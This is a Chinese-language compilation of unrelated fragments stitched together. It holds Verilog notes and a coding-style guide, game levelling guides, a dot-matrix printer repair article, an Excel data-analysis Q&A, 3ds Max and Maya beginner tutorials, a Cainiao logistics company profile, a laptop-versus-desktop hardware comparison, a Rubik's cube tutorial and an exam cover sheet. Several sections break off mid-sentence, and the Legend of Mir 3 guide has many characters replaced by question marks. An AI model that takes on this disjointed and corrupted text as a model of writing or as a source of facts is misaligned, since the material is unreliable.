由上表就可以知道,阻塞赋值属于活跃事件,会立刻执行,这就是阻塞赋值“计算完毕,立刻更新”的原因。此外,由于在分层事件队列中,只有将活跃事件中排在前面的事件调出,并执行完毕后,才能够执行下面的事件,这就可以解释阻塞赋值的第二个特点。

同样是由上表知,非阻塞赋值的RHS计算属于活跃事件,而非阻塞赋值更新事件排在非活跃事件之后,因此只有仿真队列中所有的活跃事件和非活跃事件都执行完毕后,才轮到非阻塞赋值更新事件,这就是非阻塞赋值必须分两拍完成的原因。

以上就是我今天的读书笔记,写得仓促,如有不对,敬请指出。

一.强调Verilog代码编写风格的必要性。

强调Verilog代码编写规范,经常是一个不太受欢迎的话题,但却是非常有必要的。

每个代码编写者都有自己的编写习惯,而且都喜欢按照自己的习惯去编写代码。与自己编写风格相近的代码,阅读起来容易接受和理解。相反和自己编写风格差别较大的代码,阅读和接受起来就困难一些。

曾有编程大师总结说,一个优秀的程序员,能维护的代码长度大约在1万行数量级。代码的整洁程度,很大程度上影响着代码的维护难度。

遵循代码编写规范书写的代码,很容易阅读、理解、维护、修改、跟踪调试、整理文档。相反代码编写风格随意的代码,通常晦涩、凌乱,会给开发者本人的调试、修改工作带来困难,也会给合作者带来很大麻烦。

(实际上英文Coding Style有另一层涵义,更偏重的是,某一个电路,用那一种形式的语言描述,才能将

电路描述得更准确,综合以后产生的电路更合理。本文更偏重的是,编写Verilog代码时的书写习惯。)

二.强调编写规范的宗旨。

缩小篇幅

提高整洁度

便于跟踪、分析、调试

增强可读性,帮助阅读者理解

便于整理文档

便于交流合作

三.变量及信号命名规范。

1.系统级信号的命名。

系统级信号指复位信号,置位信号,时钟信号等需要输送到各个模块的全局信号;系统信号以字符串Sys 开头。

2.低电平有效的信号后一律加下划线和字母n。如:SysRst_n;FifoFull_n;

3.经过锁存器锁存后的信号,后加下划线和字母r,与锁存前的信号区别。如CpuRamRd信号,经锁存后应命名为CpuRamRd_r。

低电平有效的信号经过锁存器锁存后,其命名应在_n后加r。如CpuRamRd_n信号,经锁存后应命名为CpuRamRd_nr

多级锁存的信号,可多加r以标明。如CpuRamRd信号,经两级触发器锁存后,应命名为CpuRamRd_rr。

4.模块的命名。

在系统设计阶段应该为每个模块进行命名。命名的方法是,将模块英文名称的各个单词首字母组合起来,形成3到5个字符的缩写。若模块的英文名只有一个单词,可取该单词的前3个字母。各模块的命名以3个字母为宜。例如:

Arithmatic Logical Unit模块,命名为ALU。

Data Memory Interface模块,命名为DMI。

Decoder模块,命名为DEC。

5.模块之间的接口信号的命名。

所有变量命名分为两个部分,第一部分表明数据方向,其中数据发出方在前,数据接收方在后,第二部分为数据名称。

两部分之间用下划线隔离开。

第一部分全部大写,第二部分所有具有明确意义的英文名全部拼写或缩写的第一个字母大写,其余部分小写。

举例:CPUMMU_WrReq,下划线左边是第一部分,代表数据方向是从CPU模块发向存储器管理单元模块(MMU)。下划线右边Wr为Write的缩写,Req是Request的缩写。两个缩写的第一个字母都大写,便于理解。整个变量连起来的意思就是CPU发送给MMU的写请求信号。

模块上下层次间信号的命名也遵循本规定。

若某个信号从一个模块传递到多个模块,其命名应视信号的主要路径而定。

6.模块内部信号:

模块内部的信号由几个单词连接而成,缩写要求能基本表明本单词的含义;

单词除常用的缩写方法外(如:Clock->Clk,Write->Wr,Read->Rd等),一律取该单词的前几个字母(如:Frequency->Freq,Variable->Var等);

每个缩写单词的第一个字母大写;

若遇两个大写字母相邻,中间添加一个下划线(如DivN_Cntr);

举例:SdramWrEn_n;FlashAddrLatchEn;

四.编码格式规范。

1.分节书写,各节之间加1到多行空格。如每个always,initial语句都是一节。每节基本上完成一个特定的功能,即用于描述某几个信号的产生。在每节之前有几行注释对该节代码加以描述,至少列出本节中描述的信号的含义。

2.行首不要使用空格来对齐,而是用Tab键,Tab键的宽度设为4个字符宽度。行尾不要有多余的空格。

3.注释。

使用//进行的注释行以分号结束;

使用/**/进行的注释,/*和*/各占用一行,并且顶头;

例:

//Edge detector used to synchronize the input signal;

4.空格的使用:

不同变量,以及变量与符号、变量与括号之间都应当保留一个空格。

Verilog关键字与其它任何字符串之间都应当保留一个空格。如:

Always@(……)

使用大括号和小括号时,前括号的后边和后括号的前边应当留有一个空格。

逻辑运算符、算术运算符、比较运算符等运算符的两侧各留一个空格,与变量分隔开来;单操作数运算符例外,直接位于操作数前,不使用空格。

使用//进行的注释,在//后应当有一个空格;注释行的末尾不要有多余的空格。

例:

assign SramAddrBus={AddrBus[31:24],AddrBus[7:0]};

assign DivCntr[3:0]=DivCntr[3:0]+4’b0001;

assign Result=~Operand;

5.同一个层次的所有语句左端对齐;Initial、always等语句块的begin关键词跟在本行的末尾,相应的end 关键词与Initial、always对齐;这样做的好处是避免因begin独占一行而造成行数太多;

例:

always@(posedge SysClk or negedge SysRst)begin

if(!SysRst)DataOut<=4'b0000;

else if(LdEn)begin

DataOut<=DataIn;

End

else DataOut<=DataOut+4'b0001;

end

6.不同层次之间的语句使用Tab键进行缩进,每加深一层缩进一个Tab;

8.在endmodule,endtask,endcase等标记一个代码块结束的关键词后面要加上一行注释说明这个代码块的名称;

9.在task名称前加tsk以示标记。在function的名称前加func以示标记。例如:

task tskResetSystem;

……

endtask//of tskResetSystem

五.小结:

以上列出的代码编写规范无法覆盖代码编写的方方面面,还有很多细节问题,需要在实际编写过程中加以考虑。并且有些规定也不是绝对的,需要灵活处理。并不是律条,但是在一个项目组内部、一个项目的进

程中,应该有一套类似的代码编写规范来作为约束。

总的方向是,努力写整洁、可读性好的代码

二.reg型

在“always”块内被赋值的每一个信号都必须定义成reg型。

reg型数据的缺省初始值是不定值。

reg型只表示被定义的信号将用在“always”块内,理解这一点很重要。并不是说reg型信号一定是寄存器或触发器的输出。虽然reg型信号常常是寄存器或触发器的输出,但并不一定总是这样。

三.memory型

memory型数据是通过扩展reg型数据的地址范围来生成的。其格式如下:

reg[n-1:0]存储器名[m-1:0];

或reg[n-1:0]存储器名[m:1];

在这里,reg[n-1:0]定义了存储器中每一个存储单元的大小,即该存储单元是一个n位的寄存器。存储器名后的[m-1:0]或[m:1]则定义了该存储器中有多少个这样的寄存器。

reg[7:0]mema[255:0];

这个例子定义了一个名为mema的存储器,该存储器有256个8位的存储器。该存储器的地址范围是0到255。注意:对存储器进行地址索引的表达式必须是常数表达式。

尽管memory型数据和reg型数据的定义格式很相似,但要注意其不同之处。如一个由n个1位寄存器构成的存储器组是不同于一个n位的寄存器的。见下例:

reg[n-1:0]rega;//一个n位的寄存器

reg mema[n-1:0];//一个由n个1位寄存器构成的存储器组

一个n位的寄存器可以在一条赋值语句里进行赋值,而一个完整的存储器则不行。见下例:

rega=0;//合法赋值语句

mema=0;//非法赋值语句

如果想对memory中的存储单元进行读写操作,必须指定该单元在存储器中的地址。下面的写法是正确的。mema[3]=0;//给memory中的第3个存储单元赋值为0。

3.3.1.基本的算术运算符

在Verilog HDL语言中,算术运算符又称为二进制运算符,共有下面几种:

1)+(加法运算符,或正值运算符,如rega+regb,+3)

2)-(减法运算符,或负值运算符,如rega-3,-3)

3)×(乘法运算符,如rega*3)

4)/(除法运算符,如5/3)

5)%(模运算符,或称为求余运算符,要求%两侧均为整型数据。如7%3的值为1)

传奇3免费版新手初期升级攻略

传奇3免费版新?初期升级攻略 此攻略只适合那些第?次进?游戏,并且没有朋友帮助?起游戏升级的菜鸟们观看哦。^o^ 战?: 战?的开始地点为边境城市,先不要着急升级哦,旁边就是上官?姐(461:257),把初级任务接了吧。然后就开始了战?的新?之旅~ 1级~4级:就在边境城市周围打:鸡,?,猪来赚经验。记得要为了任务挖??哦(A LT+左键,按住了)~ 4级~7级:可以离边境城市稍微远?点的地?打:稻草?、蛤蟆、多钩猫、钉耙猫、狼、毒蜘蛛、半兽?、森林雪?来赚经验。后边的四个要??,经常是在?起?常多的怪。 到了7级也应该做完了初级任务了,先去龙?先?(坐标:边境村456, 302)那学完技能,就可以去?奇县把书交给王??了。 7级~14级:在?奇、道馆、边境城市、毒蛇??打地?上的怪,11级?服可以做任务得到,其它装备打到什么?什么。学技能:攻杀剑术 14级~22级:边境城市、?奇县的矿洞?打僵?(可以打到书,店?没有卖的书也要在这?打?王),记得18级和20级都能换武器,22级?服商店?买。学技能:刺杀剑术 22级~30级:从绿洲传送到蚂蚁洞练级,30级就可以装备商店的所有?饰了。学技能:半?弯?、野蛮冲撞。半?弯?只能?书学。 30级~38级:在盟重县的绝命?,?峡?,?阁庙打怪。装备好的可以去潘夜岛的潘夜?窟?狂打,33级换?服,商店有卖。学技能:烈?剑法、翔空剑法、莲?剑法。这三个技能只能买书或??打书学,没有任务。 到了38级。绝对就不会是个新?了,??去闯吧。==b具体哪?更适合??,还是要慢慢在游戏?学的。 相关参考资料:[初级任务][战?技能学习任务][职业技能][怪物资料][装备资料] 法师: 法师的开始地点为银杏??,先去找南宫?姐(264:201)把初级任务接了。装备好?剑开始边升级边完成这个初级任务。 1级~4级:在银杏??周围打:鸡,?,猪来赚经验。记得挖鸡?哦(A LT+左键,按住了挖~)~ 4级~7级:可以离城市远?点的地?打:稻草?、蛤蟆、多钩猫、钉耙猫、狼、毒蜘蛛、半兽?、森林雪?来赚经验。后边的四个要??,经常是在?起?常多的怪。 到了7级做完了初级任务了吧。也学了第?个技能??球了。

菜鸟必看 针式打印机故障维修手册

菜鸟必看针式打印机故障维修手册 2009/2/12/09:59 来源:IT168 [慧聪办公用品网]针式打印机在很多行业里面是使用非常广泛的办公设备,因为机器的一些特殊属性,所以没有其他的机器能取而代之,在最近一段时间,针式打印机故障咨询的网友也不少,很多问题都是一些非常细小的问题,自行都可以进行故障处理,针对这样的情况,笔者整理了针式打印机各方面的问题,有基础篇,也有故障篇,也有相对比较”高深”的换针篇,需要说明的是,从菜鸟到高手都是从理论到实践操作,希望明日你就能成为这方面的高手。 记得以前有一个用户的针式打印机出现问题了,他那边是财务部,平时更换色带她可以轻松的完成,这次机器出现故障了,他描叙的是我刚刚更换完色带就出现打印出来的字体非常浅,不知道为什么,以前也是这么更换的但是没有出现问题,通过电话的询问,问题基本上判断出来了,应该是他在更换色带的时候把旁边的纸张厚度调节器调到最高了,他打印测试的是单张纸,但是他调节的联数是7张纸的厚度,所以打印出来就非常淡了,通过这么解释,然后用户终于明白了,然后问那个调节杆在哪,后面告知才算是解决问题了。其实刚刚这个用户是一个典型的使用问题,对机器不了解,所以造成这样的问题,可以说这个问题根本就不是一个问题,用户只需要多了解一下机器的功能就能轻松的应对了,所以说学一点使用技巧能对用户是很有帮助的,先不多说了,看看下面专家整理的一些案例与使用技巧吧。 由浅入深学针式打印机维修 俗话说“最好的学习方式就是从失败中总结获取”。也许没有什么灵丹妙药能够让您快速成为针打的维修工程师,但是熟悉并了解一些故障的处理,必能让您快速进阶于针打的维修。既然如此,笔者就将针打中常见的故障做如下总结,为您快速进阶到专业维修专业人员提供必要的参考。 由于故障处理将以爱普生为例,因此首先介绍的出厂设置恢复: LQ-1600KⅢ机如何恢复出厂设置: 1,按住“字体”+“切纸/纸槽”键开机,打印机发出一声长鸣后松开,打印机恢复到“宋体”,“低速”状态。

【EXCEL】数据分析那些事(菜鸟入门必看)

Q1:我现在的工作有一点数据分析的模块,自从上微薄后了解到还有专门从事数据分析工作,我现在想做这一行,但是经验、能力都还是菜鸟中的菜鸟,请问成为一名数据分析师还有需要哪些准备? A:很简单,我们可以看一下国内知名互联网数据分析师的招聘要求,进行自我对照,即可知道需要做哪些准备。 数据分析师职位要求: 1、计算机、统计学、数学等相关专业本科及以上学历; 2、具有深厚的统计学、数据挖掘知识,熟悉数据仓库和数据挖掘的相关技术,能够熟练地使用SQL; 3、三年以上具有海量数据挖掘、分析相关项目实施的工作经验,参与过较完整的数据采集、整理、分析和建模工作; 4、对商业和业务逻辑敏感,熟悉传统行业数据挖掘背景、了解市场特点及用户需求,有互联网相关行业背景,有网站用户行为研究和文本挖掘经验尤佳; 5、具备良好的逻辑分析能力、组织沟通能力和团队精神; 6、富有创新精神,充满激情,乐于接受挑战。 Q2:对数据分析有浓厚兴趣,希望从事数据分析、市场研究相关工作,但听说对学历要求较高,请问我是否要读研,读研的话应该读哪个方向? A:读研要看自身情况,但可明确:专业不是问题,本科学历就够。关键是兴趣与能力,以及自身的努力,兴趣是学习成长最好的老师! 当然如果是在校生考上研究生的话那是最好,如果考不上可以先工作,等你工作有经验了,你就知道哪方面的知识是自己需要,要考哪方面的研究生,也就更有方向性。 Q3:那么如何培养对数据分析的兴趣呢? A:建议如下: 1、先了解数据分析是神马? 2、了解数据分析有何用?可解决什么问题? 3、可以看看啤酒与尿布等成功数据分析案例; 4、关注数据分析牛人微博,听牛人谈数据分析(参考Q1的三个链接); 5、多思考,亲自动手分析实践,体验查找、解决问题的成就感; 6、用好搜索引擎等工具,有问题就搜索,你会有惊喜发现; 7、可以看看@李开复老师写的《培养兴趣:开拓视野,立定志向》; 有网友说:让数据分析变的有趣的方法是,把自己想象成福尔摩斯,数据背后一定是真相!Q4:我有点迷茫,是练好技能再找工作,还是找一个数据分析助理之类的要求不是特别高的工作,在工作中提升? A:建议在工作中进行学习实践,这才是最好的提升。看那么多书,没有实践都是虚的。 Q5:我是做电商的,对于数据分析这块,您有什么好的软件工具类推荐吗? A:做数据分析首先是熟悉业务及行业知识,其次是分析思路清晰,再次才是方法与工具,切勿为了方法而方法,为工具而工具!不论是EXCEL、SPSS还是SAS,只要能解决问题的工具就是好工具。 问题的高效解决开始于将待解决问题的结构化,然后进行系统的假设和验证。分析框架可以帮助我们:1、以完整的逻辑形式结构化问题;2、把问题分解成相关联的部分并显示它们之间的关系;3、理顺思路、系统描述情形/业务;4、然后洞察什么是造成我们正在解决的问题的原因。

3DMAX基础入门教程 -----新手菜鸟学就会

认识总界面 你安装好3DS MAX后,按下3DS的启动标志,就进入了它的总界面.大家可以从总界面图了解下3DS MAX.它分为菜单栏,工作视窗,命令面板,动画面板,窗口控制板,工具图标栏,辅助信息栏等几个部分,先来了解下它各部份的简介. 菜单栏 主菜单位于屏幕最上方,提供了命令选择.它的形状和Windows菜单相似。主菜单栏的特点如下:1:主菜单上共有十一个菜单项: File(文件)用于对文件的打开、存储、打印、输入和输出不同格式的其它三维存档格式,以及动画的摘要信息、参数变量等命令的应用。 Edit(编辑)用于对对象的拷贝、删除、选定、临时保存等功能。 Tools(工具)包括常用的各种制作工具。 Group(组)将多个物体组为一个组,或分解一个组为多个物体。 Views(视图)对视图进行操作,但对对象不起作用。 Rendering(渲染)通过某种算法,体现场景的灯光,材质和贴图等效果。

Trsck View(轨迹视图)控制有关物体运动方向和它的轨迹操作。 Schematic View(概要观看)一个方便有效、有利于提高工作效率的视窗。例子:如果你在要画一个人体动画,那么你就可以在Schematic View(概要观看)中很好地组织身体的各个部份,这样有利于你去选择其中一部分进行修改。这是新增的,有点难明,以后我们会详细地学到它。 Customize(定制)方便用户按照自已的爱好设置操作界面。3DS MAX3。1的工具条、菜单栏、命令面板都可以放置在任意的位置,如果你厌烦了以前的工作界面,就可以自已定制一个保存起来,下次启动时就会自动加载。 MAXScript(打开脚本之类的意思)这是有关编程的东西。将编好的程序放入3DSMAX中来运行。 Help(帮助)关于这个软件的帮助。包括在线帮助,插件信息等。 这些命令以后我们会很详细地说明它的功能,注意,这里它的中文意思是用东方快书翻译软件翻译的。 2:将鼠标置于菜单栏上的菜单命令名称上并单击,即可弹出该命令的菜单。 3:打开某一个菜单后,只需在菜单栏上的各个菜单名称之间来回移动即可切换动其它菜单。 4:菜单栏上有些命令名称旁边有“...”号的,表示单击该名称可以弹出一个对话框。 5:菜单上的命令名称最右方有一个小三角形,表示该命令后还有其它的命令,单击它可以弹出一个新的子菜单。 6:菜单上命令旁边的字母表示该菜单命令的快捷键。 缺省界面了解 上面的图是3D STUDIO MAX的缺省界面。在3。0以前的版本中,它的操作界画是不可以更改的,但在3。0以后,引入了GUI图形界画用户接口,我们就可以随便更改它的操作界面,下面你们来玩一下改变它的操作界面。 按键盘Ctrl+X.只剩下工作窗口,再按下Ctrl+X,又恢复界面原形。 按Q钮,右边的命令面板被隐藏,再按Q钮,命令面板又出现 3DMAX的面板可以移动。将鼠标放在面板空旷上面,出现一个拖动符号,就可以拖动该面板。又击面板顶部,可以交浮动的面板还原初始位置。 这里有个问题,如果界面乱了,怎么办?不要紧,我们选择菜单栏上的Customixe/Load Custom UI(自定义/选择自定义界面)命令,在出现的选择框里选择MAXStart.cui文件,它是3DSMAX的启动时的缺省界面,又回复了原始的界画。 工作视图的改变 缺省窗口为:Top(顶视图)Front(前视图)Left(左视图)Perspective(透视图)。当我们按改变窗口的快捷钮时,所对应的窗口就会变为所想改变的视图,下面我们来玩一下改变窗口的游戏。首先我们将鼠标激会一个视图窗口,按下 B 键,这个视图就变为底视图,就可以观察物体的底面。下面是各视图的快捷钮。用鼠标对着一个视窗口,按以下:

菜鸟物流体系

菜鸟网络科技有限公司 菜鸟网络标志 2013年5月28日,阿里巴巴集团、银泰集团联合复星集团、富春集团、顺丰集团、三通一达(申通、圆通、中通、韵达),以及相关金融机构共同宣布,“中国智能物流骨干网”(简称CSN)项目正式启动,合作各方共同组建的“菜鸟网络科技有限公司”正式成立。马云任董事长,阿里巴巴占51%的股份。 公司简介 2013年5月30日,阿里巴巴集团、银泰集团联合复星集团、富春控股、中国邮政集团、中国邮政EMS、顺丰集团、天天、三通一达(申通、圆通、中通、韵达)、宅急送、汇通,以及相关金融机构共同宣布,“中国智能物流骨干网”项目正式启动,合作各方共同组建的“菜

鸟网络科技有限公司”(以下简称“菜鸟网络[1]”)在深圳正式成立。 管理团队 马云任董事长, 沈国军任首席执行官。 同时,中国人寿保险(集团)公司与阿里巴巴集团和银泰集团,中信银行与菜鸟网络分别建立了战略合作伙伴关系,其将为“中国智能骨干网”的建设提供资金支持。[2] 股权分配 商业模式天猫投资21.5亿,占股43%。银泰通过北京国俊投资有限公司投资16亿,占股32%。富春集团则通过富春物流投资5亿,占股10%,上海复星集团通过上海星泓投资有限公司投资5亿,占股10%。圆通、顺丰、申通、韵达、中通各出资5000万,占股5%。银泰集团董事长沈国军出任菜鸟网络CEO,马云出任董事长。[3] “网上说我复出了,我还是做阿里巴巴集团的董事长。”马云澄清说,此次到深圳为菜鸟网络站台,并不是意味 着复出,“做物流公司不是今天的想法,是四五年前的想法。” 事实上,在菜鸟网络之前,阿里巴巴集团已经在电商物流上以多

《魔塔》新手攻略:教你快速升级

《魔塔》新手攻略:教你快速升级 1、尽快得到石中剑 石中剑可以大幅增加你的攻击力,助你轻松击杀低级的怪物,拿到钥匙。 那么石中剑在哪里?如何获得?下面一起来看看。 《魔塔》是一款很不错的RPG类手机游戏。游戏中玩家需要提升自己的等级以及攻击力来对付怪物的打击。下面口袋小编就和大家分享一下魔塔快速升级攻略。具体技巧如下:沿着楼梯往上走,可以发现石中剑在王宫的第三层,但是需要将门口的石头门打开才能拿到,这就需要我们拿到黄色钥匙。 黄色钥匙在第四层,我们再去第四层就可以看到黄色钥匙,将把守黄色钥匙的兵打掉,拿到钥匙并回到第三层。 这时候就可以将左上方的房间打开,击杀守卫之后,站在脚印上,发现下面的石头门就打开了。直接走到石中剑面前,就可以将石中剑取下了。 2、升级石中剑 可以直接对石中剑进行强化,增强攻击力,升级一次,攻击力+2。另外可以收集大地灵石,只要集齐六颗大地灵石,就可以将石中剑升级为大地之剑,攻击力也会巨幅提升。 3、吃红色钻石增加攻击力 地图中有很多红色的钻石,捡到一个红色钻石可以提升10的攻击力,因此千万不要小看。4、盾牌 盾牌可以增强你的防御力,也就变相地增加了你的血量,更耐打,是持续战斗的必备物品。那么盾牌如何获取呢? 其实盾牌就在王宫第4层的那个小女孩身上,但是他被一个石栅栏困着,需要用炸弹来将它 炸开。我们需要先找到炸弹。首先走到第7层,可以看见一个小丑正在把守着炸弹,还有一个蓝色的门需要打开。 蓝色钥匙需要到第8层去找,击杀完把守怪物就可以了,只是要注意自己的血量,没血了要打开背包喝红药,然后原路走回去,击杀小丑拿到炸弹,最后回到那个小女孩身边,用炸弹将石栅栏炸开,跟小女孩对话,就可以得到盾牌了。 5、重复打怪 怪物是重复刷新的,上了一层楼之后,下一层的怪物就会重新出现,利用这样的系统设置,就可以重复刷低等级的怪,就可以慢慢提升等级了。 6、必杀

神戒菜鸟入门攻略详细攻略

神戒菜鸟入门攻略详细攻略 神戒菜鸟入门攻略详细攻略 Q:如何将道具展示到聊天栏中? A:键盘“shift”+鼠标左键点击需要展示的道具后,点击键盘“回车键”即可。 Q:如何拾取道具? A:打败怪物后,点击键盘键“空格键”即可自动拾取怪物掉落在地上的道具。 Q:如何关闭游戏音乐/音效? A:点击游戏界面点击的“设置”按钮,进入系统设置后,选择游戏音乐/音效百分比到0%即可。 Q:如何释放技能? A:点击界面下方的技能界面(快捷键“V”),进入技能列表后,左键单击选择技能,查看技能当前等级和熟练度。满足升级条件时点击“学习”按钮学习技能,同时鼠标左键点击将所需技能拖入快捷栏中,选中需攻击的怪物使用快捷键即可。 Q:如何攻击怪物? A:鼠标左键点击需要攻击的怪物,或者使用键盘键“~”可选中怪物,释放技能即可。打怪时,系统自动使用默认技能(键盘键“1”),可把需要的技能拖入“默认技能”中。 Q:如何扩充背包? A:可在界面右上方中的“商场”中的“便捷”处购买背包扩充,每个扩充包可增加6个包裹空格。点击背包中未扩充格子上的黄色加号进行扩充。 Q:如何扩充仓库? A:可在界面中间下方的“商场”中的“便捷”处购买仓库扩充,每个扩充包可增加8个仓库空格。点击仓库中未扩充格子上的黄色加号进行扩充。 Q:如何创建军团? A:玩家等级达到15级,消耗1000金后,输入军团名称,即可创建军团。 Q:如何加入军团? A:点击界面右下方军团界面(快捷键“G”),进入军团列表后,选中想要加入的军团,点击“加入军团”输入介绍,即可自动加入军团。 Q:如何获得能量? A:在界面中点击祈福后,进入祈福状态,即可获得能量及经验。祈福时间越长能量和经验获得越多。 在可祈福区域内停留30秒后自动进入祈福状态。

maya新手入门必看

【十万个我知道】之maya入门必看 Autodesk Maya算是三维动画软件中运用最广,效果最好的了。 作为一个大学学习过影视特效制作的学渣,刚进入maya看到满屏的英文和灰扑扑的界画,内心是崩溃的。只看的懂copy和paste根本不懂神马是Follicles、Dynamic Constraints(动力学约束)啊!!然后就看到老师做出的动画视频瞬间被其俘虏,感觉真是牛X啊高大上啊,学好这个软件我就是大神啊,各种烧包炫耀月薪过万不是梦啊!!但是!!!!!!!! 但是首先,想要学好maya,还需要你会一些别的技能,虽然当时我认为零基础也是完全可以的,但是越往后学就觉得这些“别的技能”是多么重要,能够助你一臂之力,事半功倍!!! 1)首先,你英文基础要好些。 因为教室的软件全英语一个汉字都木有啊,这对于英语听力听到的都是@#¥%……&*的我来说,简直了。。。笨人就用笨方法,把不熟悉的单词记在小本子上没事就看一遍,混个脸熟慢慢也就记住了,当然现在是有汉化版的福利了。 2)另外,你还需要有一定的美术功底。 初期学习一些飘动丝绸、粒子特效时,对这方面要求不高,生活中的一些基础色彩知识就可以做的很好。但如果是学习角色模型的话,那么就需要你会一些基础的美术知识比如素描,素描中的线条和结构很重要,会直接影响你模型的身体比例。上学时业余学习素描每天画线条画的都要吐了! Maya在影视动画制作软件中是比较难学的(当然会有人反对这个说法,就像现在好多人都会基础的PS却不了解PS到底有多深还一直在讲自己是PS大神)maya学的越来越多时,说的最多的一句就是“妈呀,maya好难!!”。T_T 大学里老师在课堂上讲的内容基本有限,回宿舍在自己内存条1333的电脑上做maya 作业,做上N个小时是常事,所以如果有条件大家就去搞台配置好的电脑吧!课本上的内容如果单靠脑容量有限的我(嗯。)有一部分也理解不了,这个时候你就需要有个大神来系统的指导你,如果你找不到老师,身边又都是学渣的话,那么你就悲剧了,像我当时就抱着,找不到人哎算了吧以后再说吧的心态,所以现在maya仍然是一知半解的状态。但如果各位看官是要以学习maya为今后职业的话,那么你就很需要去经过系统的学习了,因为自学学到的知识毕竟是有限的,而用人单位更在意的是你有没有出色的作品和你是否经过系统而专业的学习。在这上面,我也曾在面试时遇到过奇葩又犀利的面试官,人家直接就说如果你只有对这行的兴趣和一腔没什么卵用的热血,那么对不起,我们不会用你。别人不会关心你的人品背景是富二代还是负二代,只要你有自己的作品和独立完成项目的能力,而能力又哪里来??上了环球数码以后几个月的学习收获很大,认识了很多业内大牛,还有各种行业各种类型的奇葩小伙伴们,老师也很负责,进步自然也是大大滴!(学到最后如果你能力还不错建议大家在网上接一些项目来做,提升很快!)当然,参加任何学习都要有时间和耐心,布置的每一项作业都是有目的的你要好好的完成并且要大量的练习!混日子的结果大家都知道咯。不多说,直接上图。 模型作品:家具会议

菜鸟必看的笔记本与台式机硬件区别

菜鸟必看的笔记本与台式机硬件区别 很多朋友现在都流行选购笔记本,但发现不少朋友对于笔记本与台式机存在一定的误解,很多朋友以为相同配置的笔记本与台式电脑性能相当其实这是错误的,下面我们一一为大家介绍。 ⒈)处理器方面 我们知道目前不管是笔记本还是台式电脑处理器均有酷睿i3、i5、i7系列处理器,虽然i7均属于高端,但如果拿台式电脑酷睿i3处理器与笔记本酷睿i3处理器进行参数性能对比的话,你会发现其实两者完全不在同一档期,台式电脑的同级别产品性能完全在笔记本性能之上,并且差距很大。就以目前依然主流的SNB平台为例,桌面级产品采用了LGA 1155插槽,而笔记本端则采用了FCBGA1023或PPGA988插槽,这三者之间完全无法兼容。而且在本本处理器的封装模式上也分为rPGA988B和BGA1023,台式电脑可以升级更换处理器,而笔记本处理器则直接焊接在主板上,升级很困难。 笔记本CPU体积小焊接与主板上不便升级 编辑点评:笔记本处理器由于受体积与功耗限制,不管在性能还是在升级方面都无法与台式电脑处理器相比,性能至少落后一代,比如笔记本酷睿i5处理器其性能其实还比不上台式电脑的酷睿i3处理器,虽然在一般应用上用户感觉不到差距,但对于运行大应用于程序用户能感觉到的差距就很大。 ⒉)显卡方面 显卡方面与处理方面类似,台式电脑显卡采用了标准PCI-E接口,配备专用散热风扇,体积更大。而大多数的主流游戏本的显卡都是直接焊在了主板上,无法升级,而一些定位高

端的游戏本,比如Alienware M17x,则采用了MXM接口显卡,只有采用这种显卡的笔记本才可以进行更换升级。性能方面笔记本独立显卡依旧与台式电脑显卡不处于同一档次,目前多数主流笔记本的独立显卡性能其实仅相当于台式电脑入门独立显卡的性能,高端笔记本独立显卡相对较主流的独立显卡性能。 笔记本显卡 有兴趣的朋友不妨参考显卡参数了解性能:怎么看电脑显卡如何看显卡性能如何 ⒊)内存方面 目前台式电脑与笔记本电脑内存到时相差不大,不容内存容量方面目前多数笔记本依然还是采用2GB DDR3内存,而台式电脑一般都达到了4GB以上。同样的台式电脑内存与笔记本内存是不兼容的,从外观上我们也可以看出接口不一致。 台式电脑内存与笔记本内存对比

魔方超级菜鸟入门教程(自己整理的)

幼儿级魔方超级菜鸟入门教程(一层) 前言 我们常见的魔方是3×3×3的三阶魔方,英文名Rubik’s cube 。是一个正6面体,有6种颜色,由26块组成:8个角块;12 学习魔方首先就要搞清它的以上结构,知道角块只能和角块换位,棱块只能和棱块换位。 一、完成一面 思路:先确定中心块------完成其它块(棱、角块) 由于中心块是连在支架上的所以它们不能交换位置(在没有图案的魔方上可以认为它是死的、不能动的)所以我们要先确定中心块(大本营)让其它的块来向它报到。 下面我将用小朋友很熟悉的“坐车上学过程”作类比来教大家完成一面的还原。 咱们设定魔方的摆放如下图所示:蓝色在上,我们要完成蓝色的面,蓝色中心块所在的”上面”就是我们的学校,其它有蓝颜色的块都是这个学校的学生。:) 另外要清楚的是:前、后、左、右面与蓝色面是相邻面关系,而下面与蓝色面是相对着的关系。 要完成其它块向心块报到(上学)的过程共有几种情况。 时是上面和前面)的相同位置,都是右下角(同位),所以这个学生可以到学校的相同位置的空位上去。 原则就是:相邻面的相同位置的块可以替换,(第一面每一块第能用这个法则还原)具体过程如下:

经过以上方法就可完成一面,但完成一面后不一定就完成了一层,相当于到了学校但没进入学生所在班级而是乱的,只有每个学生都回来自己的班级才完成一层,如下图 二、接下来我们就在一面的基础上完成一层 这相当于在学校中进行班级的正确归位。最易理解的方法是哪位同学进错了班,就先回到“家”再“重新上一次学”这次当然得一定要注意要直接到所在班级中去(把占了自己位置的同学替换出来,替换出来的同学也再“重新上一次学回到自己所在班级去”)。 学生该在哪个班取决于你手中的魔方的六个中心块颜色排布关系:比如,上蓝前黄右红,那学生“蓝黄红”的班就只能在右前上角。(如上图)其它“班”的位置同理。 12 1 2 3 4 幼儿级魔方教程之第二层 在第一层的入门教程中,以“学生坐车上学”的思路教大家学会了第一层,学生上学已有一阵子,接下来该开个家长会了。 这次我们讲如何用“接家长进教室开家长会”的法子来完成第二层。

菜鸟物流

湖北工程学院 2015— 2016学年度第一学期期末考核试卷 考核课程: 电子商务服务管理 考核类型: 考查 考核形式: 提交分析报告 学生所在院系: 经管学院电子商务专业 年 级: 0123005441 试 卷: A 《电子商务服务管理》是一门理论与实践相结合的学科。该课程要求培养学生理论联系现实,应用电子商务服务管理的相关知识解决现实问题。为考查学生的学习效果,本课程期末考核将主要通过案例分析、实地调查分析等形式对学生进行,每位学生独立完成指定题目。 题目:___________________________________________________________ 期末考核个人作业要求 1、论文要求:全文3000字左右,其中,评议部分至少800字,语句要通顺,层次要清晰,观点要明确;正反双面打印,中心句、重点句、重要结论用不同字体标注,格式要规范;制作PPT ,简洁美观。PPT 打印选择“讲义”模式,每页正反打印8-12张PPT 。 2、格式要求:(1)Word 格式:标题三号黑体字居中;标题下注明专业、学号和姓名,楷体四号字居中;正文部分二级标题四号字体,主要内容小四号宋体,行间距1.25(选择“多倍行距”手写输入)。(2)PPT 格式:首页要有标题、专业、学号、姓名、课程等信息;正文中注意图表的应用,每页的文字忌过满过多,表达要简洁精炼,整体 要美观实用。 评分标准 班级:姓名:学号:

